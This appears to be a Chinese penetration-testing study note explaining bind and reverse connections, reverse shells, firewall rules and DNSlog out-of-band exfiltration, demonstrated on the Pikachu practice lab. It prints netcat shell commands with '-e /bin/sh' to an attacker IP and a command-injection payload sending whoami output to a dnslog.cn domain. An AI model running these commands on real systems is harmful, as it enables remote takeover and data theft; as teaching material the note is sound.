反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载

反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载

0x01 文件下载

文件下载命令是因为很多时候拿到权限了,但是没有图像化界面,只能用命令进行下载文件,来达到我们想要的效果。例如:我们在我们服务器上有个nc文件,利用一些命令注入漏洞来让目标机下载nc,然后再用我们下面讲的正反向连接,拿到shell。

文件上传命令手册

0x02 正反向连接

image-20250505210632320

其实这个概念很简单

正向连接

攻击者主动连接目标机,也就是目标机监听某个端口,攻击者进行连接请求

1
2
3
4
5
攻击者(连接):
nc 目标机 9999

目标机(监听):
nc -lvnp 9999 -e /bin/sh

反向连接

服务端主动连接客户端,服务端主动发送连接给客户端,客户端监听端口,用于绕过防火墙的入站规则/内网穿透

1
2
3
4
5
6
攻击者(监听):
nc -lvnp 9999

目标机(发起连接):
nc 攻击者IP 9999 -e /bin/sh

这个具体用那种方式进行反弹shell,取决于攻击者和目标机的谁能访问到谁,例如:目标机在局域网中,攻击机有公网IP,很明显目标机能连接到攻击机,攻击机连接不到目标机,这时候就需要用反向连接

0x03 反弹SHELL

反弹SHELL概念

在反弹 Shell 中,目标机器(被攻击者的机器)会主动连接到攻击者的机器,并通过这个连接将其控制权限“反弹”回攻击者

这通常用来绕过目标机器的 防火墙网络地址转换(NAT),因为目标机器通常能够发起外部连接,而不能接受外部连接(例如:内网主机)

也就是我们前面说的反向连接的利用。

  1. 攻击者(监听)

    1
    nc -lvnp 9999
  2. 目标机器(反弹 shell)

    1
    nc 攻击者IP 9999 -e /bin/bash

在这两步中,目标机器连接到攻击者的 4444 端口,成功后,攻击者就可以通过这个连接执行目标机器上的命令

反弹 Shell 的实际应用

  • 绕过防火墙:防火墙通常会阻止入站连接,但允许出站连接。通过反弹 shell,攻击者只需要监听一个端口,等待目标机器主动连接。
  • 内网渗透:攻击者可能通过反弹 shell 连接到目标的内网机器,在该机器上执行命令并获取进一步的控制权限。
  • 远程控制:通过反弹 shell,攻击者可以完全控制目标机器,执行操作如文件读取、系统命令执行等。

0x04 防火墙出入站

说白了就是通过防火墙设置出入站规则,来限制一些流量的出入

0x05 不回显带外

让命令注入没有回显的时候,可以用dnslog来命令回显。

用皮卡丘演示一下,把这个ping的打印注释掉

image-20250505210653821

直接ping dns会在网站得到回显得到回显,那我们可以利用这个构造一下域名,来得到我们想要的信息

例如:

1
127.0.0.1 | powershell $x = (whoami).replace('\' , 'xxx');$y ='.c3fskt.dnslog.cn';$z = $x + $y;ping $z;

可见我们直接得到了用户主机名

image-20250505210706186